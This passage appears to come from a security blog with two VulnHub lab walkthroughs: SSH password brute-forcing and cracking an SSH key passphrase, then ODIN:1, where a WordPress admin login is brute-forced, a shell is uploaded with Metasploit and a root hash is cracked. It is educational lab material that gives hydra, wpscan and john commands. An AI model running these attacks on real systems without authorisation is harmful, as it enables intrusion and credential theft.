    Hydra tool is installed by default on Kali Linux. Now we will attempt to log in as the jan user using a rockyou.txt password list with 6 threads on the given SSH server.

    Use command: # hydra -l jan -P /usr/share/wordlists/rockyou.txt -t 6 ssh://<IP Addr>

    Hurray, here we found password: armando for user jan.

    Now, let us try to log in as user “jan”.

    Use command: ssh jan@IP addr

    We can say “yes” and provide password(armando) for user jan.

    So now we have access to user jan.

    Now we need to find any vectors to escalate our privileges. Let us look for files on the host.

    We do not find anything on the user jan. So now we can check for other directories or users and found the user kay.

    Here we found something interesting. It is a .ssh file and while trying to access It, found the public and private keys in that.

    Opening the public and private keys:

    Ahaa…We hit the Jackpot here..!!!

    We got the private key of user kay. This will be our access vector. Let us log in through ssh now.

    It looks like we need to find a passphrase first.

    We can use john the ripper to crack an SSH RSA key, but to brute-force using john, we must convert it into a suitable format first. For this, we have ssh2john.py pre-installed in Kali Linux.

     We can find it using locate command.

    If we open a hash file rsakey.hash here we can see

    Now we can use john the ripper again to crack the hash using the same wordlist rockyou.txt and retrieve the passphrase for user kay.

    Finally, we got the passphrase beeswax.

    As we know from a previous search that .ssh also has read and write permission for user kay. As we have passphrase now, let us ssh:

    Now we can find the final password and for that, we will investigate pass.bak, which we found earlier under the home directory of user kay.

    So, this is the final password we obtain.

    heresareallystrongpasswordthatfollowsthepasswordpolicy$$

    Solving this challenge enables us to get an overall idea of how to perform basic tasks in Penetration testing when we have only the IP address of the target, like scanning our target machines and look for its vulnerabilities. We understood how basic enumeration works. Apart from that, we also learn to use different tools to crack passwords and hashes and tried to gain access. Thanks for reading and will meet you next time with another blog soon.

    Until next time, Happy hacking…!!!

  • ODIN: 1 -VulnHub Walkthrough

    Hello everyone,

    Today I am here with new challenge. Odin 1 – It is an easy Vulnhub challenge. Come lets see more about the challenge.

    As you have seen in our old blog Potato:1 we follow the same PTES standards for this machine too.

    You  can download the machine here: https://www.vulnhub.com/entry/odin_1,619/

    Information Gathering:

    Lets find the ip address of the machine.

    #netdiscover

                 

    The ip address our target machine is ‘192.168.1.23’

    Now lets find the ports and services running on the machine.

    #nmap -sSV -sC -T4  -p-  192.168.1.23 –allports

    Only port 80 (HTTP) is open and it runs on WordPress 5.5.3.

    It also has a apache running. This seems to be fully a wordpress challenge. As we see wordpress is widely used it is also widely exploited.

    Now lets enumerate the website and look what we have.

     Enumeration:

    We are now enumerating the port 80 http.

     

    As we see the site just runs in wordpress and doesn’t have much information.

    We can see some encoding but nothing gives a clue when decoded.

    So now we move to the next step,

    This step is often used in all Web app testing using Nikto and Dirb. Using Dirb gives us the directories listed in the URL.

    #dirb http://192.168.1.23

    #nikto -h 192.168.1.23

    We can see that the site contains admin login page.

    http://192.168.1.23/wp-admin.php Before opening the link add the ip address in /etc/hosts

    Now we open the admin login page and check our luck.

    I used the username and password as “admin” but it didn’t work

     

     

    It says password for admin is incorrect. Let us now try to brute force the login page with the username admin.

    For brute forcing we use the Wpscan tool which is available in kali linux .

    #wpscan — usernames admin — passwords passlist.txt — url http://192.168.1.23/ — password-attack wp-login

    Got it !! the password is qwerty and the username is admin

    We will now open the login page and try.

    Yeah now we are in and its the correct password. Next step is finding exploits for the WordPress version 5.5.3. By surfing google i found few exploits out of that I picked two,

    I am using the second one as its easy and we have our favourite Metasploit to use the Admin Shell Upload exploit.

    Now we lets fire the Metasploit and try the exploit.

    #msfconsole

    We have to give the username and password to exploit the admin shell.

    We got the meterpreter session for the exploit. Now lets run the shell commands and see what we have.

    As we see there is a list, we have to open and check if there is anything useful inside.

    I picked up wp-admin, wp-signup.php, wp-content, wp-login.php, xmlrpc.php, wp-config.php

    wp-activate and wp-settings.php.

    Here, I saw something interesting in wp-config.php and others doesn’t have anything.

    We got a encrypted password for user root. This must be the root password and the golden ticket for the flag.

    We have to decrypt the password now.

    Copied the hash to a text file and started decrypting

    #john -wordlist=/usr/share/wordlists/passlist.txt /home/kali/Desktop/password

    After the bruteforce we got the password for the root user as jasmine

    We can now use the root password in the meterpreter shell and gain root privileges.

    Now we got the full access as we can see the uid and gid is 0 i.e, root.

    Now change directory to root folder.

    #cd /root

    We have a file named bjorn. We can open the file and see if it has the flag.

    At last we got the root access and the flag for the challenge.

    Lets catch up on the next challenge.

    BYE!